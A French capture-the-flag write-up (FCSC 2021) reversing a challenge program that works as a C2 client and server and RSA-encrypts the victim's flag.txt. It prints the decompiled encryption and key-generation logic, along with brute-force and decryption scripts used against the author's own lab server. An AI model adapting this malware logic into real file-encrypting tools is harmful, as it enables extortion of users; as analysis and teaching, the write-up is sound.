Malware 3-3

Ce challenge est un challenge en 3 parties indépendantes, mais dont l'ordre logique est indiqué par les numéros : forensics (1) -> pwn (2) -> reverse (3).

/!\ Le programme a de réelles capacités malveillantes /!\

Ouf ! Vous avez réussi à récupérer le malware, à vous connecter sur le serveur de l'attaquant et à récupérer la clé privée (fichier key.priv ci-joint) ayant servi à chiffrer votre précieux flag.

Le fichier key.priv portait initialement le nom : 0fdb0eea57198b3bb69e8267690ede5d5ba95ab791638a610372120b773d4acc_2021-03-15|21:34:41.priv.

Dechiffrez le fichier flag.txt pour valider cette Ă©preuve.

    SHA256(malware) = d63087cb4ad44b1bf07646e195e8bc2997ab0dea6119f0ef6c70ddcc51dc7f11.
    SHA256(flag.txt) = 14474b163650c1e940ae9612e29c4a8a5012f1ee1d31c6262f84e657680568b8.
    SHA256(key.priv) = 55a4f14531fbc38349687d1a8fb13faa55a52bb8cff5bb23576ca72c595af37f.

Tag: reverse

Analyse

AprĂšs avoir fait la partie forensics, on sait qu’une personne mal intentionnĂ©e a exĂ©cutĂ© un malware sur la machine. Celui-ci a chiffrĂ© le fichier flag.txt sur le bureau de l’utilisateur. Le challenge nous fournit directement le malware ainsi que le flag chiffrĂ© et une clĂ© privĂ©e protĂ©gĂ©e par un mot de passe.

PremiĂšre Ă©tape, j’ouvre le binaire dans ghidra.

En commençant Ă  reverse le malware, je comprends qu’il a deux modes de fonctionnement. Le premier avec l’option --client qui indique au malware qu’il doit se connecter Ă  un serveur pointĂ© par l’option -d pour un nom de domaine et -i pour une adresse IP.

L’autre mode de fonctionnement est avec l’option --serveur qui indique au malware de se mettre en Ă©coute.

Voici le code de la fonction main que Ghidra me génÚre:

undefined8 main(uint argc,undefined8 argv)
{
  [snip]
    // Récupération des arguments
    iVar3 = getopt_long((ulong)argc,argv,"i:d:cs",&PTR_s_client_00407240,0);
    if (iVar3 == -1) {
      FUN_00402522((ulong)argc,argv,&DAT_00404063,argv);
      prctl(0xf,&DAT_00404063,0,0,0);
      // utilisation des deux options en mĂȘme temps
      if ((clientOption) && (serverOption)) {
        puts("Vous ne pouvez utiliser --client et --serveur en mĂȘme temps");
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      // Utilisateur des options -d ou -i avec --serveur
      if ((serverOption) && ((bVar1 || (bVar2)))) {
        puts("Vous ne pouvez utiliser --serveur et -d ou -i en mĂȘme temps");
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      // Utilisation de -i et -d
      if ((bVar1) && (bVar2)) {
        puts("Vous ne pouvez utiliser -i et -d en mĂȘme temps");
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      if (clientOption) {
        if (bVar1) {
          connectClient((char *)0x0,local_18);
        }
        else {
          // Pas de domaine ou d'@IP passé en argument
          if (!bVar2) {
            printf("-i ip ou -d domain manquant");
                    /* WARNING: Subroutine does not return */
            exit(1);
          }
          connectClient(local_28,(char *)0x0);
        }
      }
      else {
        if (!serverOption) {
          puts("Vous devez avoir --client ou --serveur");
                    /* WARNING: Subroutine does not return */
          exit(1);
        }
        openServer();
      }
      return 0;
    }
    if (iVar3 != 0x73) break;
    serverOption = true;
  }
  [snip]
  }
  // Aucune option ou option non reconnue
LAB_00402671:
  puts("Option non reconnue. Utilisation : ./c2 [--client [-d domaine | -i ip] | --serveur]");
                    /* WARNING: Subroutine does not return */
  exit(1);
}

Les noms de fonction et variable ont été renommé pour une meilleure compréhension.

Client

Lorsque le binaire est exĂ©cutĂ© avec l’option --client celui-ci se connecte au serveur c&c (Command and Control) pointĂ© par l’option -d ou l’adresse IP pointĂ© par -i. Puis dans un second temps concatĂšne le nom d’utilisateur et le nom d’hĂŽte de la machine et hash cette valeur en sha256. Il fait ensuite un court calcul pour avoir une valeur pseudo random basĂ© sur la fonction time.

void connectClient(char *hostName,char *ipAddress)
{
  [snip]
  // hashage du nom d'utilisateur + @ + nom d'hĂŽte
  userName = getUsernameTty();
  machineName = getHostName();
  cmdUsername = concat(userName,"@");
  cmdFullName = concat(cmdUsername,machineName);
  SHA256_Init(&local_518);
  len = strlen(cmdFullName);
  SHA256_Update(&local_518,cmdFullName,len);
  SHA256_Final(sha256SumCmdFullName,&local_518);
  0_OneCharSha256SumCmdFullName = (char *)calloc(0x41,1);
  index = 0;
  // Conversion en hexadecimal (0x20 = 32)
  while (index < 0x20) {
    sprintf(0_OneCharSha256SumCmdFullName + index * 2,"%02x",(ulong)sha256SumCmdFullName[index]);
    index = index + 1;
  }
  len = strlen(0_OneCharSha256SumCmdFullName);
  if (len != 0x40) {
                    /* WARNING: Subroutine does not return */
    exit(1);
  }

  // Calcul d'une valeur Pseudo Random
  actualTime = time((time_t *)0x0);
  srand((uint)actualTime);
  pseudoRandomValue = rand();
  pseudoRandomValueModulo = pseudoRandomValue % 1000;
  ModuloLogarithme = log10((double)pseudoRandomValueModulo);
  ModuloLogarithmeAddOne = (int)(ModuloLogarithme + 1.00000000);
  pseudoRandomInt = (char *)malloc((long)ModuloLogarithmeAddOne);
  sprintf(pseudoRandomInt,"%d",(ulong)pseudoRandomValueModulo);
  0_OneCharSha256Concat = concat(0_OneCharSha256SumCmdFullName,";");
  sha256WithPseudoRandomInt = concat(0_OneCharSha256Concat,pseudoRandomInt);
  len = strlen(sha256WithPseudoRandomInt);
  // Envoie la valeur calculé sha256 + pseudo random value
  sVar1 = send(tcp,sha256WithPseudoRandomInt,len,0);
  local_74 = (int)sVar1;
  if (local_74 < 0) {
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  // Réception de la clé publique
  sVar1 = recv(tcp,tcpBuffer,0x3ff,0);
  local_74 = (int)sVar1;
  if (local_74 < 1) {
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  // Fin de la string
  tcpBuffer[local_74] = '\0';

  // Fonction de chiffrement du flag
  encryptHomeFlag(tcpBuffer);
  close(tcp);
  sleep(10000);
  return;
}

Une fois le sha256 et la valeur pseudo random rĂ©cupĂ©rĂ©, il les envoie au c&c qui lui renvoie une clĂ© publique. Cette clĂ© publique servira ensuite Ă  chiffrer le fichier flag.txt sur le bureau de l’utilisateur.

  __n = strlen(param_1);
  local_20 = BIO_new_mem_buf(param_1,(int)__n);
  local_50 = RSA_new();
  PEM_read_bio_RSA_PUBKEY(local_20,&local_50,(undefined1 *)0x0,(void *)0x0);
  BIO_free(local_20);
  // Récupération du nom de l'utilisateur
  userName = getUsernameTty();
  // Récupération du chemin
  userHomePath = concat("/home/",userName);
  userFlagTxtPath = concat(userHomePath,"/Bureau/flag.txt");
  // Lis le contenu du fichier
  contentFile = (uchar *)readFile(userFlagTxtPath);
  if (contentFile == (uchar *)0x0) {
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  iVar1 = RSA_size(local_50);
  local_40 = (uchar *)malloc((long)iVar1);
  rsa = local_50;
  __n = strlen((char *)contentFile);
  // Chiffre le contenu
  local_44 = RSA_public_encrypt((int)__n,contentFile,local_40,rsa,4);
  RSA_free(local_50);
  __n = strlen((char *)contentFile);
  memset(contentFile,0,__n);
  // Ecrit le nouveau contenu
  writeInFile(local_40,userFlagTxtPath,local_44);
  return;

Parfait, maintenant nous connaissons le fonctionnement de la partie cliente. Attaquons-nous Ă  la partie serveur.

Serveur

La partie serveur Ă©coute constamment sur le port 4000 d’une nouvelle connexion. Puis crĂ©er un nouveau processus avec fork.

  while( true ) {
    acceptedClient = accept(tcp,&local_48,&local_1c);
    if ((int)acceptedClient < 0) {
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    local_18 = fork();
    if (local_18 < 0) break;
    if (local_18 == 0) {
      close(tcp);
      newClient(acceptedClient);
                    /* WARNING: Subroutine does not return */
      exit(0);
    }

Quand un client se connecte, il exécute une fonction pour récupérer le hash ainsi que le nombre pseudo random.

  // Récupération du message
  sizeClientSocketMessage = recv(clientSocket,clientSocketMessageRecv,0x400,0);
  if ((long)sizeClientSocketMessage < 0) {
    uVar1 = 0;
  }
  else {
    // Conversion du message reçu
    uVar1 = convertMessageClient(clientSocket,clientSocketMessageRecv,sizeClientSocketMessage);
  }

La fonction de conversion de message appelle ensuite une fonction qui permet de créer un mot de passe qui sera utilisé pour la clé RSA.

  // Récupération de l'index du ;
  addrPointVirgules = memrchr(messageClientSocket,0x3b,sizeMessageClientSocket);
  local_10 = (long)(int)addrPointVirgules;
  if (local_10 == 0) {
    uVar1 = 0;
  }
  else {
    local_14 = (int)addrPointVirgules - (int)messageClientSocket;
    // Copie du hash 256 dans la variable sha256value
    memcpy(sha256value,messageClientSocket,(long)local_14);
                    /* Compile la regex */
    local_18 = regcomp(&regexCompiled,"^[a-f0-9]{64}",1);
    // Execute la regex
    local_18 = regexec(&regexCompiled,sha256value,0,(regmatch_t *)0x0,0);
                    /* if successfull match (regex) */
    if (local_18 == 0) {
                    /* Replace ";" by a null byte */
      sha256value[local_14] = '\0';
                    /* Length of the strings after ";" */
      __size = strlen((char *)((long)messageClientSocket + (long)local_14 + 1));
      intMessageSocketClient = (char *)malloc(__size);
      strcpy(intMessageSocketClient,(char *)((long)local_14 + 1 + (long)messageClientSocket));
      __isoc99_sscanf(intMessageSocketClient,&DAT_0040420a,&lenIntMessageSocketClient);
      // Modulo 1000 effectué sur la valeur pseudo random
      if ((int)lenIntMessageSocketClient % 1000 == lenIntMessageSocketClient) {
        // Temps unix
        currentUnixTime = time((time_t *)0x0);
        // Conversion
        structUnixLocalTime = localtime(&currentUnixTime);
        // Conversion temps unix en AAAA-MM-DD|HH:MM:SS
        strftime(stringUnixLocalTime,0x1a,"%Y-%m-%d|%H:%M:%S",structUnixLocalTime);
        // Création du mot de passe pour la clé RSA
        rsaPassword = (char *)createRsaPassword(sha256value,stringUnixLocalTime,
                                                (ulong)lenIntMessageSocketClient,stringUnixLocalTime
                                               );
        // Création de la paire de clé RSA
        local_38 = (char *)functionToExploitIThink(rsaPassword,sha256value,stringUnixLocalTime);

Pour au final, créer une paire de clés RSA avec la commande openssl.

  if (iVar1 != 0) {
    local_f8 = "openssl";
    local_f0 = "genrsa";
    local_e8 = "-aes256";
    local_e0 = &OUT;
    local_d8 = pathToPrivKey;
    local_d0 = "-passout";
    local_c8 = pass;
    local_c0 = &4096;
    local_b8 = 0;
    executeCommand(&local_f8);
    local_a8 = "openssl";
    local_a0 = &RSA;
    local_98 = &IN;
    local_90 = pathToPrivKey;
    local_88 = "-passin";
    local_80 = pass;
    local_78 = "-pubout";
    local_70 = &OUT;
    local_68 = pathToPubKey;
    local_60 = 0;
    executeCommand(&local_a8);

Les clĂ©s sont enregistrĂ©es dans le dossier /keys du serveur avec pour nom, la valeur sha256 envoyĂ© par le client et l’heure Ă  laquelle le message a Ă©tĂ© reçu. La description prend donc tout son sens. Le fichier key.priv portĂ© le nom 0fdb0eea57198b3bb69e8267690ede5d5ba95ab791638a610372120b773d4acc_2021-03-15|21:34:41.priv auparavant. Ce qui signifie que le client a envoyĂ© son message le 03 Mars 2021 Ă  21h34m41s. Aussi la concatenation de son nom d’utilisateur et du nom d’hĂŽte donne 0fdb0eea57198b3bb69e8267690ede5d5ba95ab791638a610372120b773d4acc.

On peut vĂ©rifier facilement cette information car on connait le nom d’utilisateur forensics et le nom d’hĂŽte fcsc2021.

[ aether@ysera  ~  % ] python3
Python 3.6.9 (default, Jan 26 2021, 15:33:00) 
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import hashlib
>>> hashlib.sha256(b"forensics@fcsc2021").hexdigest()
'0fdb0eea57198b3bb69e8267690ede5d5ba95ab791638a610372120b773d4acc'

Password

AprĂšs avoir un peu jouĂ© avec le programme, je dĂ©cide de crĂ©er une commande openssl qui va me permettre de voir le contenu qui lui ai passĂ© en argument. Cela va entre autres me permettre de voir le mot de passe. Si celui-ci se rĂ©pĂšte, je n’aurais pas besoin de chercher plus. J’aurais uniquement besoin de dĂ©chiffrer le fichier flag.txt avec l’uniquement mot de passe.

import sys

with open("/tmp/openssl.log", "a") as f:
    f.write("\n".join(sys.argv[1:]) + "\n")

Je remplace ma commande openssl par ce script et je m’aperçois que les mots de passe dans le fichier ont tous la mĂȘme base. MĂȘme si le hash et l’heure changent.

)4|V>1SY} m,Nz%cl5&=4601a07db25df3d83d1ce31a735485a215d8c1fc0217e4ad4fd8381132458bf8e2021-04-30|18:34:3604.65959574
)4|V>1SY} m,Nz%cl5&=40fdb0eea57198b3bb69e8267690ede5d5ba95ab791638a610372120b773d4acc2021-04-30|18:36:4214.65562116

Tous les mots de passes commencent par )4|V>1SY} m,Nz%cl5&=4 puis la valeur du hash envoyĂ© par le client, l’heure Ă  laquelle le message est reçu et ensuite un nombre flotant.

Exploitation

Je ne voulais pas passer beaucoup de temps Ă  essayer de comprendre les fonctions pour trouver le mot de passe. J’ai dĂ©cidĂ© de prendre une solution de contournement pour aller plus vite. Etant donnĂ© que je connnais l’heure du message et le hash. Il me suffit simplement de faire une boucle sur mon serveur pour garder constamment l’heure Ă  2021-03-15|21:34:41 et du cĂŽtĂ© de mon client, Ă  envoyer le hash du nom du fichier 0fdb0eea57198b3bb69e8267690ede5d5ba95ab791638a610372120b773d4acc et les valeurs de 0 Ă  1000.

Pourquoi 0 Ă  1000 ? Tout simplement parce que la partie cĂŽtĂ© serveur vĂ©rifie que l’int envoyĂ© modulo 1000 est toujours Ă©gale Ă  elle mĂȘme.

/* MODULO ICI */
if ((int)lenIntMessageSocketClient % 1000 == lenIntMessageSocketClient) {
// Récupération du temps unix actuel
currentUnixTime = time((time_t *)0x0);
// 
structUnixLocalTime = localtime(&currentUnixTime);
// Conversion du temps Unix en string au format AAAA-MM-DD|HH:MM:SS
strftime(stringUnixLocalTime,0x1a,"%Y-%m-%d|%H:%M:%S",structUnixLocalTime);
// Création du mot de passe pour la clé RSA
rsaPassword = (char *)createRsaPassword(sha256value,stringUnixLocalTime,
                                        (ulong)lenIntMessageSocketClient,stringUnixLocalTime
                                        );
local_38 = (char *)functionToExploitIThink(rsaPassword,sha256value,stringUnixLocalTime);

Je crée un script qui enverra toutes les valeurs cÎté client.

import socket

for index in range(1000):
    tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    tcp.settimeout(1)
    tcp.connect(("192.168.1.59", 4000))
    tcp.send(b"0fdb0eea57198b3bb69e8267690ede5d5ba95ab791638a610372120b773d4acc;%d" % (index))
    tcp.recv(1024)

CÎté serveur, je change mon script openssl pour sauvegarder uniquement le mot de passe dans un fichier.

#!/usr/bin/python3

import sys

with open("/tmp/passwd.txt", "a") as f:
    f.write(sys.argv[5] + "\n")

Puis la commande pour garder constamment la mĂȘme heure.

while true; do sudo date --set="2021-03-15 21:34:41"; done

AprĂšs quelques secondes d’exĂ©cution le script se termine. Mon fichier de mot de passe distant est rempli !

)4|V>1SY} m,Nz%cl5&=40fdb0eea57198b3bb69e8267690ede5d5ba95ab791638a610372120b773d4acc2021-03-15|21:34:4104.65959574
)4|V>1SY} m,Nz%cl5&=40fdb0eea57198b3bb69e8267690ede5d5ba95ab791638a610372120b773d4acc2021-03-15|21:34:4114.65562116
)4|V>1SY} m,Nz%cl5&=40fdb0eea57198b3bb69e8267690ede5d5ba95ab791638a610372120b773d4acc2021-03-15|21:34:4124.66148808
)4|V>1SY} m,Nz%cl5&=40fdb0eea57198b3bb69e8267690ede5d5ba95ab791638a610372120b773d4acc2021-03-15|21:34:4134.66148808
[snip]

Il ne me reste plus qu’Ă  tester chacune de ces clĂ©s jusqu’Ă  trouver la bonne.


import subprocess

with open("bruteforce.key") as f:
    data = f.read().splitlines()

argv = [
    "openssl",
    "rsa",
    "-in",
    "key.priv",
    "-passin",
    "pass:",
    "-pubout",
    "-out",
    "key.pub"
]

for password in data:

    argv[5] = f"pass:{password}"

    stderr = open("/tmp/stderropenssl", "wb")

    process = subprocess.Popen(argv, stderr=stderr, stdout=stderr)

    while process.poll() is None:
        continue

    if "writing RSA key" in open("/tmp/stderropenssl", "r").read():
        print(f"Password: {password}")
        exit(0)

output:

[ aether@ysera  ~/Documents/FCSC/2021/reverse/Malware  % ] python3 bruteforce.py 
Password: )4|V>1SY} m,Nz%cl5&=40fdb0eea57198b3bb69e8267690ede5d5ba95ab791638a610372120b773d4acc2021-03-15|21:34:415784.65833391

VoilĂ  le mot de passe !

Padding\t\t\t\t\t\t\t\t\t

AprÚs avoir mit le mot de passe dans un fichier, je déchiffre le fichier flag.txt avec openssl:

[ aether@ysera  ~/Documents/FCSC/2021/reverse/Malware  % ] openssl rsautl -decrypt -in flag.txt.enc -out flag.txt -inkey key.priv -passin file:master.key
RSA operation error
140165181530560:error:0407109F:rsa routines:RSA_padding_check_PKCS1_type_2:pkcs decoding error:../crypto/rsa/rsa_pk1.c:244:
140165181530560:error:04065072:rsa routines:rsa_ossl_private_decrypt:padding check failed:../crypto/rsa/rsa_ossl.c:485:

Ahaha, si proche du but.

Cependant le message padding check failed me met sur la voie. Une courte recherche sur internet sur les diffĂ©rents padding disponible avec d’openssl et le tour est jouĂ©.

cf: https://www.mkssoftware.com/docs/man1/openssl_rsautl.1.asp

DĂ©chiffrement

[ aether@ysera  ~/Documents/FCSC/2021/reverse/Malware  % ] openssl rsautl -decrypt -in flag.txt.enc -out flag.txt -inkey key.priv -passin file:master.key -oaep
[ aether@ysera  ~/Documents/FCSC/2021/reverse/Malware  % ] cat flag.txt
đ”œâ„‚đ•Šâ„‚{𝕔𝕕𝟟𝟜𝕓𝟘𝕕𝟛𝟛𝟜𝕒𝟠𝕓𝕖𝟝𝟞𝟞𝟞𝟜𝟘𝟚𝕔𝕔𝟜𝟠𝟞𝕖𝟠𝕒𝟞𝟚𝟚𝟚𝕕𝕕𝟛𝟚𝟘𝟠𝟜𝕗𝕒𝟛𝟝𝟠𝟝𝕒𝕖𝕔𝟙𝕕𝟜𝟠𝟝𝕗𝟝𝟛𝕖𝟝𝟘𝟠𝕖𝕕𝟜}

Je retranscris le flag en ascii à la main et le challenge est validé !

flag: FCSC{cd74b0d334a8be5666402cc486e8a6222dd32084fa3585aec1d485f53e508ed4}